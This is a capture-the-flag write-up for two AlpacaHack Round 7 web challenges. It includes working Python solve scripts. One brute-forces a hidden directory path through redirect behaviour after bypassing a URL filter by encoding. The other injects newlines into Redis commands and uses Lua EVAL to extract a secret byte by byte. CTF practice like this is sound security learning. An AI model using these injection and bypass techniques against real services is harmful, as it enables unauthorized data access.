# AlpacaHack Round 7 (Web) Write up ## Treasure Hunt > 116 pts (71 solves) > Web > Author: > > ark Check out the challenge here yourself https://alpacahack.com/ctfs/round-7/challenges/treasure-hunt ### Observations There are two things that you need to figure out In the dockerfile, the flag name is moved to a path made out of the md5sum of the flag and in a file. You have to figure out how to know if a directory exists ```dockerfile # Move flag.txt to $FLAG_PATH RUN FLAG_PATH=./public/$(md5sum flag.txt | cut -c-32 | fold -w1 | paste -sd /)/f/l/a/g/./t/x/t \ && mkdir -p $(dirname $FLAG_PATH) \ && mv flag.txt $FLAG_PATH ``` There is also a regex check that forbids any requests that contains the characters `flag` in the URL. You need to first figure out a way to bypass this check. ```javascript if (/[flag]/.test(req.url)) { res.status(400).send(`Bad URL: ${req.url}`); return; } ``` ### Solution After some trial and error, you could know that if a directory exists, the server would redirect you to the directory. For example, if you try to access `http://server.com/a` and directory a exists, it would redirect you to `http://server.com/a/`. With this we can brute force the directory name one by one. Since md5sum contains [a-f0-9] we only need to guess at most 16 times for each directory To bypass the regex check, you just need to URL encode the characters. Note that python requests library would URL decode some of the characters in the URL path > Maybe here https://github.com/psf/requests/blob/main/src/requests/models.py#L480Do Therefore I did the encoding in the proxy on only the `flag` characters. Solve script. ```python import requests import string s = requests.session() s.verify=False s.proxies = {"http":"http://localhost:8080"} def check(g): for c in "flagbcde1234567890": target_url = "http://34.170.146.252:19843" res = s.get(target_url + f"{g}{c}",allow_redirects=False) if res.status_code == 301: print(g + c) return g + c + "/" return g out = "/" while True: i = len(out) out = check(out) if len(out) == i: break ``` ## Alpaca Poll > 146 pts (42 solves) > Web > Author: > > st98 Check out the challenge here https://alpacahack.com/ctfs/round-7/challenges/alpaca-poll ### Observation The parameter `animal` is controlled by the user. You can inject into the query. ```javascript export async function vote(animal) { const socket = await connect(); const message = `INCR ${animal}\r\n`; const reply = await send(socket, message); socket.destroy(); console.info('[SQL reply]', reply) return parseInt(reply.match(/:(\d+)/)[1], 10); // the format of response is like `:23`, so this extracts only the number } ``` There is a check here that checks for newline but does not seemed to be working ```javascript app.post('/vote', async (req, res) => { let animal = req.body.animal || 'alpaca'; // animal must be a string animal = animal + ''; // no injection, please animal = animal.replace('\r', '').replace('\n', ''); try { return res.json({ [animal]: await vote(animal) }); } catch { return res.json({ error: 'something wrong' }); } }); ``` ### Solve script ```python import requests s = requests.session() s.verify= False s.proxies={"http":"http://localhost:8080"} # URL and headers url = "http://34.170.146.252:42664/vote" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded", } def flagLen(): payload = f"""animal=flag EVAL "return string.len(redis.call('GET', KEYS[1]))" 1 flag """ # Make the POST request response = s.post(url, headers=headers, data=payload) # Print the response # print("Status Code:", response.status_code) print("Response Body:", response.text) return int(response.text.split(":")[-1][:-1]) def readFlag(idx): payload = f"""animal=flag EVAL "return string.byte(redis.call('GET', KEYS[1]):sub({idx}, {idx}))" 1 flag """ # Make the POST request response = s.post(url, headers=headers, data=payload) # Print the response # print("Status Code:", response.status_code) print("Response Body:", response.text) return chr(int(response.text.split(":")[-1][:-1])) length = flagLen() out = "" for i in range(length): out += readFlag(i+1) print(out) ```